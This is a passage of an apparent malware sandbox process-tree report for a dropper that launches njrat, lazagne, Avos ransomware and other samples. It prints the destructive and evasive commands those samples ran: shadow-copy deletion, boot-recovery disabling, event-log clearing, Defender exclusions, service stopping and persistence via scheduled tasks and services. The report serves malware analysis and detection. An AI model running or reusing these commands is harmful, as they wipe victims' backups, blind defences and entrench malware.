      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:18160
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:18200
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:18024
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:18284
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:17860
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:18684
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:18740
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:18748
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:12900
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:36380
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:36352
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:36336
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:7356
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:36724
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:13588
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:12804
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:13200
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:13228
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:13268
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:17512
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:18048
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:35088
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:33124
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:35032
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:20560
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:35272
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:13296
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:13120
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:15436
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:17772
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:34972
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:34968
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:34952
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:34940
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:36840
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:7144
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:7224
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:19568
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:19628
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:19196
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:20232
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:20016
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:35304
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:10704
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:20188
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:17228
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:19364
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:17432
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:9140
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:8064
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:19896
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:19424
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:8652
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:18012
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:12964
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:36184
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:21228
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:18708
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:35684
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:35452
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:14980
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:2708
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:17832
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:36768
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:5648
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:13100
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:20380
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:35396
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:60536
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:13780
- - C:\Users\Admin\Desktop\Files\m.exe
    "C:\Users\Admin\Desktop\Files\m.exe"
    3⤵
    PID:34920
- - C:\Users\Admin\Desktop\Files\safman_setup.exe
    "C:\Users\Admin\Desktop\Files\safman_setup.exe"
    3⤵
    PID:14640
  - - C:\Users\Admin\AppData\Local\Temp\is-U93MV.tmp\safman_setup.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-U93MV.tmp\safman_setup.tmp" /SL5="$804E8,7676943,67584,C:\Users\Admin\Desktop\Files\safman_setup.exe"
      4⤵
      PID:15104
- - C:\Users\Admin\Desktop\Files\stail.exe
    "C:\Users\Admin\Desktop\Files\stail.exe"
    3⤵
    PID:20328
  - - C:\Users\Admin\AppData\Local\Temp\is-KD26H.tmp\stail.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-KD26H.tmp\stail.tmp" /SL5="$505DA,4245990,54272,C:\Users\Admin\Desktop\Files\stail.exe"
      4⤵
      PID:41476
    - - C:\Windows\SysWOW64\net.exe
        
        "C:\Windows\system32\net.exe" pause view_s_11201
        5⤵
        Discovers systems in the same network
        
        PID:48808
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 pause view_s_11201
        6⤵
        
        PID:33340
    - - C:\Users\Admin\AppData\Local\ViewS 22.01.16\views.exe
        
        "C:\Users\Admin\AppData\Local\ViewS 22.01.16\views.exe" -i
        5⤵
        
        PID:52444
- - C:\Users\Admin\Desktop\Files\key.exe
    "C:\Users\Admin\Desktop\Files\key.exe"
    3⤵
    PID:28324
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 28324 -s 240
      4⤵
      Program crash
      PID:13124
- - C:\Users\Admin\Desktop\Files\tpeinf.exe
    "C:\Users\Admin\Desktop\Files\tpeinf.exe"
    3⤵
    PID:22296
- - C:\Users\Admin\Desktop\Files\5KNCHALAH.exe
    "C:\Users\Admin\Desktop\Files\5KNCHALAH.exe"
    3⤵
    PID:16176
- - C:\Users\Admin\Desktop\Files\lazagne.exe
    "C:\Users\Admin\Desktop\Files\lazagne.exe"
    3⤵
    PID:86588
  - - C:\Users\Admin\Desktop\Files\lazagne.exe
      "C:\Users\Admin\Desktop\Files\lazagne.exe"
      4⤵
      PID:38524
- C:\Users\Admin\Desktop\4363463463464363463463463.exe
  "C:\Users\Admin\Desktop\4363463463464363463463463.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:2828
- - C:\Users\Admin\Desktop\Files\jp.exe
    "C:\Users\Admin\Desktop\Files\jp.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    PID:2980
- - C:\Users\Admin\Desktop\Files\ApertureLab.exe
    "C:\Users\Admin\Desktop\Files\ApertureLab.exe"
    3⤵
    PID:46760
  - - C:\Users\Admin\AppData\Roaming\updtewinsup221\client32.exe
      "C:\Users\Admin\AppData\Roaming\updtewinsup221\client32.exe"
      4⤵
      PID:37728
- - C:\Users\Admin\Desktop\Files\buildred.exe
    "C:\Users\Admin\Desktop\Files\buildred.exe"
    3⤵
    PID:50836
- - C:\Users\Admin\Desktop\Files\newtpp.exe
    "C:\Users\Admin\Desktop\Files\newtpp.exe"
    3⤵
    PID:51400
- - C:\Users\Admin\Desktop\Files\build11.exe
    "C:\Users\Admin\Desktop\Files\build11.exe"
    3⤵
    PID:48736
  - - C:\Users\Admin\AppData\Local\Temp\onefile_48736_133766165321633368\stub.exe
      C:\Users\Admin\Desktop\Files\build11.exe
      4⤵
      PID:26880
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ver"
        5⤵
        
        PID:20252
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        5⤵
        
        PID:97128
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        6⤵
        
        PID:25424
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist"
        5⤵
        
        PID:97184
      - C:\Windows\system32\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        
        PID:41932
- - C:\Users\Admin\Desktop\Files\VidsUsername.exe
    "C:\Users\Admin\Desktop\Files\VidsUsername.exe"
    3⤵
    PID:20128
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c move Recreation Recreation.bat & Recreation.bat
      4⤵
      PID:53936
- - C:\Users\Admin\Desktop\Files\njrat.exe
    "C:\Users\Admin\Desktop\Files\njrat.exe"
    3⤵
    PID:20220
  - - C:\Windows\rundll32.exe
      "C:\Windows\rundll32.exe"
      4⤵
      PID:34440
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Windows\rundll32.exe" "rundll32.exe" ENABLE
        5⤵
        Modifies Windows Firewall
        
        PID:32596
    - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
        
        dw20.exe -x -s 1072
        5⤵
        
        PID:94152
- - C:\Users\Admin\Desktop\Files\Avos.exe
    "C:\Users\Admin\Desktop\Files\Avos.exe"
    3⤵
    PID:53496
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd /c wmic shadowcopy delete /nointeractive
      4⤵
      PID:27488
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic shadowcopy delete /nointeractive
        5⤵
        
        PID:20536
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd /c vssadmin.exe Delete Shadows /All /Quiet
      4⤵
      PID:20708
    - - C:\Windows\system32\vssadmin.exe
        
        vssadmin.exe Delete Shadows /All /Quiet
        5⤵
        Interacts with shadow copies
        
        PID:46892
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd /c bcdedit /set {default} recoveryenabled No
      4⤵
      PID:20688
    - - C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:15076
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
      4⤵
      PID:20728
    - - C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} bootstatuspolicy ignoreallfailures
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:13456
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd /c powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
      4⤵
      PID:8948
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:10340
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$a = [System.IO.File]::ReadAllText(\"F:\GET_YOUR_FILES_BACK.txt\");Add-Type -AssemblyName System.Drawing;$filename = \"$env:temp\$(Get-Random).png\";$bmp = new-object System.Drawing.Bitmap 1920,1080;$font = new-object System.Drawing.Font Consolas,10;$brushBg = [System.Drawing.Brushes]::Black;$brushFg = [System.Drawing.Brushes]::White;$format = [System.Drawing.StringFormat]::GenericDefault;$format.Alignment = [System.Drawing.StringAlignment]::Center;$format.LineAlignment = [System.Drawing.StringAlignment]::Center;$graphics = [System.Drawing.Graphics]::FromImage($bmp);$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height);$graphics.DrawString($a,$font,$brushFg,[System.Drawing.RectangleF]::FromLTRB(0, 0, 1920, 1080),$format);$graphics.Dispose();$bmp.Save($filename);reg add \"HKEY_CURRENT_USER\Control Panel\Desktop\" /v Wallpaper /t REG_SZ /d $filename /f;Start-Sleep 1;rundll32.exe user32.dll, UpdatePerUserSystemParameters, 0, $false;"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:96576
    - - C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\1211886939.png /f
        5⤵
        
        PID:65156
    - - C:\Windows\system32\rundll32.exe
        
        "C:\Windows\system32\rundll32.exe" user32.dll UpdatePerUserSystemParameters 0 False
        5⤵
        
        PID:90960
- - C:\Users\Admin\Desktop\Files\ew.exe
    "C:\Users\Admin\Desktop\Files\ew.exe"
    3⤵
    PID:97004
- - C:\Users\Admin\Desktop\Files\a.exe
    "C:\Users\Admin\Desktop\Files\a.exe"
    3⤵
    PID:19296
- - C:\Users\Admin\Desktop\Files\5447jsX.exe
    "C:\Users\Admin\Desktop\Files\5447jsX.exe"
    3⤵
    PID:36596
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      PID:33344
- - C:\Users\Admin\Desktop\Files\CleanerV2.exe
    "C:\Users\Admin\Desktop\Files\CleanerV2.exe"
    3⤵
    PID:7576
  - - C:\Windows\SYSTEM32\schtasks.exe
      "schtasks" /create /tn "CleanerV2" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:22880
- - C:\Users\Admin\Desktop\Files\setup8.exe
    "C:\Users\Admin\Desktop\Files\setup8.exe"
    3⤵
    PID:75920
- C:\Users\Admin\Desktop\4363463463464363463463463.exe
  "C:\Users\Admin\Desktop\4363463463464363463463463.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:4728
- - C:\Users\Admin\Desktop\Files\Office2024.exe
    "C:\Users\Admin\Desktop\Files\Office2024.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    - Suspicious behavior: EnumeratesProcesses
    PID:4800
  - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:3860
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      4⤵
      PID:1596
    - - C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        5⤵
        
        PID:5292
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop UsoSvc
      4⤵
      Launches sc.exe
      PID:3544
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop WaaSMedicSvc
      4⤵
      Launches sc.exe
      PID:5240
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop wuauserv
      4⤵
      Launches sc.exe
      PID:5452
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5224
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop bits
      4⤵
      Launches sc.exe
      PID:5460
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop dosvc
      4⤵
      Launches sc.exe
      PID:4936
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
      4⤵
      Power Settings
      PID:5592
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
      4⤵
      Power Settings
      PID:5600
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
      4⤵
      Power Settings
      PID:1716
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
      4⤵
      Power Settings
      PID:4736
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe delete "QKJNEQWA"
      4⤵
      Launches sc.exe
      PID:912
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe create "QKJNEQWA" binpath= "C:\ProgramData\hsbpaqlrqhmp\rzyyvjydedax.exe" start= "auto"
      4⤵
      Launches sc.exe
      PID:3352
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop eventlog
      4⤵
      Launches sc.exe
      PID:5824
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe start "QKJNEQWA"
      4⤵
      Launches sc.exe
      PID:5836
- - C:\Users\Admin\Desktop\Files\aaa.exe
    "C:\Users\Admin\Desktop\Files\aaa.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:3416
- - C:\Users\Admin\Desktop\Files\r.exe
    "C:\Users\Admin\Desktop\Files\r.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:244
  - - C:\Windows\sysvplervcs.exe
      C:\Windows\sysvplervcs.exe
      4⤵
      Modifies security service
      Windows security bypass
      Executes dropped EXE
      Windows security modification
      System Location Discovery: System Language Discovery
      PID:2980
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2376
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:3788
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1896
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop UsoSvc
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:1628
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop WaaSMedicSvc
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:3496
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop wuauserv
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:5044
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop DoSvc
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:1220
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop BITS /wait
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:1412
    - - C:\Users\Admin\AppData\Local\Temp\251394910.exe
        
        C:\Users\Admin\AppData\Local\Temp\251394910.exe
        5⤵
        
        PID:2952
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        6⤵
        
        PID:6128
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        7⤵
        
        PID:5816
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
        6⤵
        
        PID:5152
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /delete /f /tn "Windows Upgrade Manager"
        7⤵
        
        PID:5236
    - - C:\Users\Admin\AppData\Local\Temp\2127532615.exe
        
        C:\Users\Admin\AppData\Local\Temp\2127532615.exe
        5⤵
        
        PID:1220
    - - C:\Users\Admin\AppData\Local\Temp\1481829443.exe
        
        C:\Users\Admin\AppData\Local\Temp\1481829443.exe
        5⤵
        
        PID:6744
    - - C:\Users\Admin\AppData\Local\Temp\1064022339.exe
        
        C:\Users\Admin\AppData\Local\Temp\1064022339.exe
        5⤵
        
        PID:6676
- - C:\Users\Admin\Desktop\Files\s.exe
